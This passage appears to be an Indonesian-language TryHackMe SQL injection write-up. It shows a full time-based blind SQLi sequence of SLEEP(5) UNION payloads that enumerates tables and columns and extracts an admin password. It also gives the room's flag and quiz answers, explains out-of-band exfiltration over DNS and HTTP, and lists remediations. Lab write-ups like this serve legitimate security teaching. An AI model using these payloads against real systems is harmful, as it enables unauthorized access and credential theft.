admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' AND table_name LIKE 'z%';--
' # no delay
admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' AND table_name LIKE 'u%';--
' # delay 5 detik (berhasil)
admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' AND table_name LIKE 'users%';--
' # delay 5 detik (berhasil)➡ ditemukan nama table: users
admin123' UNION SELECT SLEEP(5),2 FROM information_schema.columns WHERE table_schema = 'sqli_four' AND table_name = 'users';--
' # delay 5 detik (berhasil)
admin123' UNION SELECT SLEEP(5),2 FROM information_schema.columns WHERE table_schema = 'sqli_four' AND table_name = 'users' AND column_name LIKE 'a%' AND column_name != 'id';--
' # no delay
admin123' UNION SELECT SLEEP(5),2 FROM information_schema.columns WHERE table_schema = 'sqli_four' AND table_name = 'users' AND column_name LIKE 'username%' AND column_name != 'id';--
' # delay 5 detik (berhasil)
admin123' UNION SELECT SLEEP(5),2 FROM information_schema.columns WHERE table_schema = 'sqli_four' AND table_name = 'users' AND column_name LIKE 'password%' AND column_name != 'id';--
' # delay 5 detik (berhasil)➡ ditemukan nama colom: username, dan password
admin123' UNION SELECT SLEEP(5),2 FROM users;--
' # delay 5 detik (berhasil)
admin123' UNION SELECT SLEEP(5),2 FROM users WHERE username LIKE 'a%';--
' # delay 5 detik (berhasil)
admin123' UNION SELECT SLEEP(5),2 FROM users WHERE username LIKE 'admin%';--
' # delay 5 detik (berhasil)
admin123' UNION SELECT SLEEP(5),2 FROM users WHERE username = 'admin' AND password LIKE '1%';--
' # no delay
admin123' UNION SELECT SLEEP(5),2 FROM users WHERE username = 'admin' AND password LIKE '4%';--
' # delay 5 detik (berhasil)
admin123' UNION SELECT SLEEP(5),2 FROM users WHERE username = 'admin' AND password LIKE '49%';--
' # delay 5 detik (berhasil)
admin123' UNION SELECT SLEEP(5),2 FROM users WHERE username = 'admin' AND password LIKE '4961%';--
' # delay 5 detik (berhasil)➡ ditemukan username: admin password: 4961
login dengan credential admin:4961, dan berhasil mendapatkan flagnya.
- What is the final flag after completing level four?
THM{SQL_INJECTION_MASTER}
Out-of-Band SQLI
Pengertian
Out-of-Band SQLi adalah teknik SQL Injection yang menggunakan dua jalur komunikasi berbeda:
- Jalur 1 → mengirim payload (request ke web)
- Jalur 2 → menerima hasil (HTTP/DNS ke server attacker)
➡ Biasanya terjadi jika database/server mendukung external request
Karakteristik
- Tidak mengandalkan respon langsung (seperti In-Band)
- Tidak menggunakan boolean/delay (seperti Blind)
- Mengambil data melalui koneksi eksternal
Alur Serangan
- Attacker mengirim request berisi payload SQLi ke website
- Website menjalankan query ke database (payload ikut diproses)
- Payload memaksa database mengirim data ke server attacker (HTTP/DNS)
Contoh Mekanisme

- Database melakukan request ke:
- HTTP server attacker
- DNS server attacker ➡ Data sensitif dikirim melalui request tersebut
- Name a protocol beginning with D that can be used to exfiltrate data from a database.
DNS
Remediation
Prepared Statements (Parameterized Queries)
- Query SQL ditulis terlebih dahulu, lalu input user dimasukkan sebagai parameter
- Struktur query tidak berubah, sehingga input tidak bisa mengubah logika SQL
- Database dapat membedakan kode vs data ➡ Metode paling aman dan direkomendasikan
Input Validation
- Memvalidasi input sebelum diproses
- Gunakan:
- Allow list → hanya menerima input tertentu
- Filter karakter berbahaya ➡ Mengurangi kemungkinan input berbahaya masuk ke query
Escaping User Input
- Menambahkan karakter escape (
\) pada karakter khusus seperti:' " $ \
- Mencegah karakter dianggap sebagai bagian dari query SQL ➡ Diproses sebagai string biasa, bukan perintah SQL
- Name a method of protecting yourself from an SQL Injection exploit.
Prepared Statements